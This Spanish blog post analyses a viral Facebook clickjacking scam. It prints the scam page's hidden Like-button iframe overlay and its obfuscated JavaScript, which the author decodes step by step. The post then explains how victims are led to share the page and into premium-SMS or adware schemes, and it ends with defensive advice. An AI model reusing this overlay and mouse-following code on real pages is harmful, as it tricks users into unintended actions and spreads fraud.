Skip to content

Matachana's Blog

Just another WordPress.com weblog

Category Archives: Uncategorized

Aviso: La explicación técnica es larga. No es demasiado técnica y se entiende bastante bien sin necesidad de conocimientos técnicos, o al menos, esa era mi intención. Pero resumen corto si no te interesa la parte técnica: este artículo disecciona una estafa que se transmite de forma vírica a través de facebook. Si solo te interesa la parte de cómo funciona la estafa, salta al final de este artículo. Si también te interesa la parte pseudotećnica, pues empieza a leer a partir de aquí.

Hoy, como todos los días, revisando mi facebook he visto que a varios de mis amigos les gustaba una página con un título muy sugerente “ TE RETO A VER ESTA PAGINA PARA 5 SEGUNDOS SIN REÍRTE!!!!!”. Ante un título tan sugerente uno se espera decenas de LOLcats o, mejor, decenas de LOLcats imitando a Chiquito de la Calzada. ¿Acaso hay algo más gracioso que un gatico haciendo el payaso?

Mi decepción fue enorme cuando entré y me encuentro con esta página:

la página divertida

¿Dónde están los gaticos? Es más, ¿dónde está la página divertida? ¡Pero si ni siquiera he salido del caralibro! Mi impresión inicial de que aún seguía en Facebook se desvaneció al fijarme en la URL, evidentemente, no estaba en Facebook. Pero no solo eso, para reírme debía de pulsar un botón del mismo tamaño que el botón de “Me gusta” de Facebook.

Eso me mosqueó bastante. Había oído hablar de varios casos parecidos usando ingeniería social en la red social (valga la redundancia) Facebook, así que antes de toquetear nada, abrí el Firebug y me puse a inspeccionar el HTML de la página. ¿Qué buscaba? Básicamente un elemento iframe que apuntase a Facebook, concretamente, un iframe en el que al hacer click hiciese que esa página “Me gustase”. También buscaba alguna pista que me indicase que algo iba mal, algo como un script ofuscado, un comentario en el HTML del tipo <!– Esta página hará explotar tu ordenador –> o algo así.

El caso es que tras una primera inspección en torno al botón sospechoso me encuentro esto:

<div style="z-index: 2; opacity: 0; filter:alpha(opacity=0); float:left; position: relative; background-color: red; width: 68px; padding: 0px; color: white; border: 0px none;">
<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.*********.info/index.html&amp;width=400&amp;connections=10&amp;stream=true&amp;header=true&amp;height=587" style="border: medium none; overflow: hidden; width: 150px; height: 28px;" allowtransparency="true" id="lpcframe" name="lpcframe" frameborder="0" scrolling="no">
</iframe>
</div>
<div id="pulsante" style="z-index: 1; float:left; position: relative; left:-68px; width: 68px; height: 23px; padding: 0px; border: 0px none;"><img border="0" src="pulsa.png"></div>

¡Bingo! Justo lo que estaba buscando. El botón que pone pulsa aquí realmente lo único que hace es ocultar con un iframe el botón de “Me gusta” de Facebook. ¿Pero por qué este método tan esotérico para ocultar un enlace cuando realmente el usuario va a pulsar en ese botón? ¿Por qué no un simple y llano enlace? ¿Debemos de llamar a Iker Jiménez para desentrañar tal misterio? La verdad es que no, con hacer doble click con el botón derecho y seleccionar ver el código fuente desentrañamos el misterio.

Enseguida vemos el siguiente código en el principio del HTML:


<script type="text/javascript">

var _0x2449=["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x64\x69\x73\x70\x6C\x61\x79","\x73\x74\x79\x6C\x65","\x6E\x6F\x6E\x65","\x62\x6C\x6F\x63\x6B",
"\x6C\x70\x63\x41\x75\x74\x6F\x4C\x69\x6B\x65\x28\x29\x3B","\x69\x64","\x61\x74\x74\x72","\x61\x63\x74\x69\x76\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6C\x70\x63\x66\x72\x61\x6D\x65",
"\x70\x61\x73\x73\x6F\x32","\x63\x6F\x6D\x70\x61\x74\x4D\x6F\x64\x65","\x43\x53\x53\x31\x43\x6F\x6D\x70\x61\x74","\x64\x6F\x63\x75\x6D\x65\x6E\x74\x45\x6C\x65\x6D\x65\x6E\x74",
"\x62\x6F\x64\x79","\x6C\x70\x63\x4C\x69\x6B\x65\x46\x72\x61\x6D\x65","\x65\x76\x65\x6E\x74","\x74\x6F\x70","\x79","\x73\x63\x72\x6F\x6C\x6C\x54\x6F\x70","\x70\x78","\x6C\x65\x66\x74",
"\x78","\x73\x63\x72\x6F\x6C\x6C\x4C\x65\x66\x74","\x70\x61\x67\x65\x59","\x70\x61\x67\x65\x58","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65"];function visualizza(_0x6880x2){
if(document[_0x2449[0]]){if(document[_0x2449[0]](_0x6880x2)[_0x2449[2]][_0x2449[1]]==_0x2449[3]){document[_0x2449[0]](_0x6880x2)[_0x2449[2]][_0x2449[1]]=_0x2449[4];} else {
document[_0x2449[0]](_0x6880x2)[_0x2449[2]][_0x2449[1]]=_0x2449[3];} ;} ;} ;var timeFrame;$(function (){timeFrame=setInterval(_0x2449[5],1599);} );function lpcAutoLike(){if($(
document[_0x2449[8]])[_0x2449[7]](_0x2449[6])==_0x2449[9]){clearInterval(timeFrame);myBoolean=1;visualizza(_0x2449[10]);} ;} ;var myHTMLBody=(document[_0x2449[11]]==_0x2449[12])?
document[_0x2449[13]]:document[_0x2449[14]];var lpcLikeFrame=document[_0x2449[0]](_0x2449[15]);var myBoolean=0;function mouseFollower(_0x6880x9){if(window[_0x2449[16]]){
lpcLikeFrame[_0x2449[2]][_0x2449[17]]=(window[_0x2449[16]][_0x2449[18]]-10)+myHTMLBody[_0x2449[19]]+_0x2449[20];lpcLikeFrame[_0x2449[2]][_0x2449[21]]=(window[_0x2449[16]][_0x2449[22]]-10)
+myHTMLBody[_0x2449[23]]+_0x2449[20];} else {lpcLikeFrame[_0x2449[2]][_0x2449[17]]=(_0x6880x9[_0x2449[24]]-10)+_0x2449[20];lpcLikeFrame[_0x2449[2]][_0x2449[21]]=(_0x6880x9[_0x2449[25]]-10)
+_0x2449[20];} ;} ;document[_0x2449[26]]=function (_0x6880x9){if(myBoolean==0){mouseFollower(_0x6880x9);} else {lpcLikeFrame[_0x2449[2]][_0x2449[1]]=_0x2449[3];} ;} ;

</script>

Bueno, esto se pone interesante. Un script Javascript ofuscado. ¿Que tipo de perrerías hará este script? Aquí es donde reside todo el peligro potencial de esta página, ya que este script puede ser desde el que muestra una pequeña animación hasta el que explota una vulnerabilidad en tu navegador para infectar tu sistema. Este caso no es tan sofisticado, el script lo que hace es facilitar que hagas click en el botón de “Me gusta” además de añadir interactividad a la página. Pero podía serlo.

El script en Javascript normaluco y corriente es: http://pastebin.com/7zgVQL2x Vamos nada del otro mundo. ¿Cómo he llegado a esta solución? Bien, el proceso es sencillo. Con cualquier intérprete Javascript (Por ejemplo, yo personalmente uso Firebug para estos menesteres, aunque Google Chrome viene con sus impresionantes herramientas para desarrolladores que también harían el trabajo y hay un montón disponibles, como Tracemonkey, Rinno, etc.) descodificamos las cadenas en la variable var _0x2449 y obtenemos

["getElementById", "display", "style", "none", "block", "lpcAutoLike();", "id", "attr", "activeElement", "lpcframe", "passo2", "compatMode", "CSS1Compat", "documentElement", "body", "lpcLikeFrame", "event", "top", "y", "scrollTop", "px", "left", "x", "scrollLeft", "pageY", "pageX", "onmousemove"]

A partir de aquí un poco de paciencia al hacer los reemplazos y el sangrado y obtenemos un Javascript bonito, bonito, como el del enlace anterior. ¿Y qué hace este script?

Bueno, vamos paso por paso. Lo primero, la primera función visualizza(paso):


function visualizza(paso){
if(document["getElementById"])
{
if(document["getElementById"](paso)["style"]["display"] == "none")
{
document["getElementById"](paso)["style"]["display"]="block";
} else {
document["getElementById"](paso)["style"]["display"]="none";
}
}
}

Este código lo que hace es hacer que el elemento pasado como parámetro sea mostrado. Esta función se usará para ir mostrando los 3 pasos que componen la estafa (¡¡Ah!!, por si acaso el lector pensaba que el creador de la página más graciosa del mundo y con una propagación vírica lo hacía por amor al arte siento desilusionarle, no, su misión es estafar a cuanta más gente mejor). El primer paso es el visible al entrar en la página, el segundo ya lo comentaré más adelante y el tercero es en el que se comete la estafa propiamente dicha.

var timeFrame;

$(function () {timeFrame=setInterval("lpcAutoLike();",1599)} );

Aquí el salado del creador lo que hace es que dado un intervalo de tiempo de 1,5 segundos la función lpcAutoLike sea llamada. Luego veremos que hace esta función. $(callback) es la manera de hacer que una función se invoque con jQuery cuando el documento termine de cargarse. Ser un estafador no está reñido con programar usando una buena biblioteca de Javascript 😛


function lpcAutoLike(){
if($(document["activeElement"])["attr"]("id") == "lpcframe")
{
clearInterval(timeFrame);
myBoolean=1;
visualizza("passo2");
}
}

Esta es la función lpcAutoLike que comentaba en el párrafo anterior. (Inciso, cuando comenté por twitter que había descubierto esta página dejé un enlace a la misma para hacer pública la estafa. Luego, con el código a medio desofuscar descubrí una función lpcAutoLike que pensé erróneamente que hacía el “Me gusta” de manera automática. Ni esta función ni esta página hacen el “Me gusta” de manera automática, siento haber dado la falsa alerta) Esta función lo que hace es desactiva el intervalo fijado anteriormente, pone la variable myBoolean a 1 (luego ya veremos que implica esto) y hace que se muestre el paso 2 de la estafa.

Como no hay manera de detectar cuando el usuario hace click en iframe ya que la acción la recibe facebook.com y no la web, lo que hace el programador de la estafa es que la función lpcAutoLike se invoque cada segundo y pico. Esta función comprueba si el elemento activo es el iframe y si lo es muestra el paso 2 y desactiva la invocación periódica.

La siguiente parte es la que me parece más curiosa e interesante a la vez:


var myHTMLBody= (document["compatMode"] == "CSS1Compat" ) ? document["documentElement"]:document["body"];

var lpcLikeFrame=document["getElementById"]("lpcLikeFrame");

var myBoolean=0;

function mouseFollower(event){
if(window["event"]){
lpcLikeFrame["style"]["top"] = (window["event"]["y"]-10) + myHTMLBody["scrollTop"]+"px";
lpcLikeFrame["style"]["left"] = (window["event"]["x"]-10) + myHTMLBody["scrollLeft"]+"px";
} else {
lpcLikeFrame["style"]["top"] = (event["pageY"] - 10) + "px";
lpcLikeFrame["style"]["left"] = (event["pageX"] - 10) + "px";
}
}

document["onmousemove"] = function (event){
if(myBoolean==0) {
mouseFollower(event);
} else {
lpcLikeFrame["style"]["display"]="none";
}
}

Tampoco tiene mucho que explicar. La línea de myHTMLBody lo que hace es proporcionar compatibilidad con todas las versiones de Internet Explorer.  Por otra parte, y aquí está lo que me parece curioso, la línea lpcLikeFrame lo que hace es buscar dentro de la página HTML un elemento que no existe. ¡El creador de la estafa se olvidó de su propio código HTML!

De todas maneras, creo que eso es código remanente de otras versiones de la versión italiana de este timo. Esta estafa es originaria de Italia (qué se puede esperar de un país que tiene como presidente a un estafador), aunque luego se ha importado a España, aparentemente por la misma persona. Probablemente, en Italia ya ha habido tres versiones de esta estafa, estando actualmente la tercera offline. En España, por el dominio (******v1.info) vamos todavía por la primera versión. Es previsible que dentro de poco tiempo pase a estar offline y el dominio cambie incrementando la versión. Además de saber de dónde procede la estafa por la búsqueda en Google, en el código se nota bastante que es una estafa genérica y que probablemente proceda de Italia. ¿Dónde? Bueno, en la cabecera se ve un header-es.png que hace pensar que hay cabeceras de varios países y el código de Javascript tiene un nombre de función en italiano (visualizza), así como varios elementos del DOM en italiano (passo1,2,3) y demás cosas que hacen pensar que es una web genérica originaria de Italia que luego es personalizada para cada país.

El caso es que lo que hace todo ese código a nivel teórico (a nivel práctico no hace nada, ya que como he dicho, el elemento lpcLikeFrame no existe) es mover el iframe allí donde esté el ratón. Así, en el momento que el usuario hiciese click en cualquier lugar de la página equivaldría a pulsar el botón de “Me gusta” de Facebook. Probablemente el estafador (creo que el italiano, no el español — suponiendo que sean diferentes –, aunque no he podido acceder a la versión italiana por estar offline) lo halla eliminado porque ese script tiene un pequeño fallo.  Si el usuario hiciese click en las caras de cualquiera de las personas a las que les gusta esa página, en realidad estaría haciendo click sobre el iframe. Cuando se llamase la función lpcAutoLike (una vez cada aproximadamente segundo y medio) esta detectaría que ha sido clickado el iframe y mostraría el paso 2 sin necesidad de hacer click en el botón que tan sugeremente nos dice “Pulsa aqui!”. Vamos, que hasta para los estafadores el control de versiones en producción es un caos.

Funcionamiento de la estafa

Y después de analizar el funcionamiento técnico, voy a pasar a analizar cómo funciona la estafa. Lo primero, en la parte técnica digo numerosas veces que es una estafa pero no lo justifico. ¿Acaso considero una estafa hacer clickjacking? No. El clickjacking, usado por esta web para transmitirse de manera vírica por Facebook, en este caso no es la estafa. Lo que es la estafa es el objetivo de esta web:

1.- En el primer paso, al hacer click en el botón “Pulsa aquí!” equivale a hacer click en el botón “Me gusta” de Facebook. Insertas en tu timeline un mensaje que dice A Pepin le gusta TE RETO A VER ESTA PAGINA PARA 5 SEGUNDOS SIN REÍRTE!!!!! en AHAH.

2.- En el segundo paso se muestra un mensaje que te dice “Pulsa Aqui Y Luego En COMPARTIR Para Ver!”.  Esto causa que además compartas la web como un enlace en tu perfil de Facebook. Gracias a un inteligente uso del OpenGraphProtocol la imagen de vista previa de la URL nada te hace sospechar que es una web maliciosa. La imágen que se muestra como enlace compartido es una que pone “Te reto a ver esta página sin reírte!!”, nada del otro mundo, pero enmascara al resto de imágenes de la página.

3.- Una vez has compartido el enlace se te muestra un nuevo botón. Este te redirecciona a una reconocida (en el sentido de que si buscas el nombre de la empresa siempre está asociada a la palabra estafa) web de estafas con SMS para móviles. La dinámica es tu das tu número de móvil y ellos amablemente te cobran 0,35€ por cada SMS que te manden, navegación WAP aparte. Como son buena gente se comprometen a mandarte 25 mensajes por semana máximo, nada, 8,75 € a la semana navegación a parte.

4.- En el enlace anterior te dicen que te van a abrir una nueva ventana y que tienes que introducir un código que te proporcionan luego. No se puede. En serio, es una estafa. Tu das tu teléfono y te comprometes a pagar 8,75€ semanales a cambio de un código para ver una imágen graciosiiiiiiiiiiiiiiiiiiiiiiiisima, código que no te dan. ¿Cómo puedes estar más de 5 segundos en la página sin reirte? Y ¿cómo se que es una estafa? Bueno porque el supuesto sitio donde tienes que meter el código es una imagen, no se puede escribir en una imágen. Osea que si has llegado hasta el paso 3 siento decirte que no hay tal imagen graciosa. Eso si, si tu picas haciendo el paso 1 y 2 has contribuido en gran medida a que tus amiguitos de Facebook piquen también. El estafador te estará eternamente agradecido.

    Curiosidades varias y conclusiones

    Hay varias cosas que me parecieron curiosas. Lo primero, todos los componentes de Facebook  (es decir, lo que pone a cuánta gente le gusta eso y los últimos comentarios) son imágenes servidas desde el propio Facebook. Además, las personas mostradas son reales y 3 de ellas no han cambiado todavía la foto de perfil desde que se tomó la captura de pantalla. 1 persona ha cambiado su foto de perfil por otra de Zinedine Zidane con la selección francesa y a otras 2 no las he podido localizar, aunque presumiblemente son personas reales ya que las otras 4 lo son.

    Probablemente el grupo de Facebook desde el que provenga esta captura sea el del grupo del Futbol Club Barcelona. A las 4 personas que he localizado también les gusta el grupo del FCB (digo también porque a mi “me gusta” ese grupo y ha sido lo que me ha permitido localizar un grupo común entre los 4). Cada una de esas personas tiene unos 100 grupos mínimo, así que tampoco he buscado en detalle a ver si tenían más grupos en común. Hay que decir que el grupo del Barça tiene 5 millones y pico de seguidores, así que la cifra de 214.850 puede corresponder a otro grupo o sencillamente que esas 4 personas tengan otro grupo en común.

    En la versión italiana se incluían un PHP propio en el tercer paso, en la española se usa un enlace con tinyurl a la web de los mensajitos.

    En pastebin hay lo que parece que es una versión previa o relacionada de la web: http://pastebin.com/zK5eCjBJ

    Como recomendación para evitar ataques de este tipo:

    * No des click como un salvaje. Piensa antes de clickar y recuerda que nadie da duros a tres pesetas.

    * Cierra las sesiones que no tengas abiertas. Es decir, cuando cierres la pestaña del Facebook cierra la sesión.

    * Usa Firefox + NoScript.

     

    ACTUALIZACIÓN: He logrado entrar a la página italiana. Fijate, la tenían offline por una actualización. Serán estafadores, pero al menos son profesionales. La dejan offline un ratejo por la noche, como los profesionales. Solo les faltó avisar del downtime.

    Está claro que la página española es un clon de la italiana. Nuevamente, en la italiana las fotos de supuestos seguidores de la página son fotos de personas reales. En este caso, y como está recién actualizada, he logrado localizar a 5 de las 6 personas que salen en la foto y solo 1 de ellas se había cambiado la foto de perfil. Por otra parte, la estafa ahora es un poco más sutil. En vez de redireccionar a la web de los móviles, ahora lo hacen a través de un dominio propio intermedio con un iframe. En dicho iframe introducen una redirección a través de referer.us a smileycentral. Ahora, en lugar de mensajitos para móviles lo que hacen es instalarte el adware MyWebSearch. Tanto el código Javascript, como la estructura de la página, como los nombres de los elementos coinciden en ambas versiones.

    Por cierto, el famoso elemento desaparecido lpcLikeFrame debe pertencer a versiones anteriores de esa web.

    Pulsa Aqui Y Luego En COMPARTIR Para Ver!
    Anuncios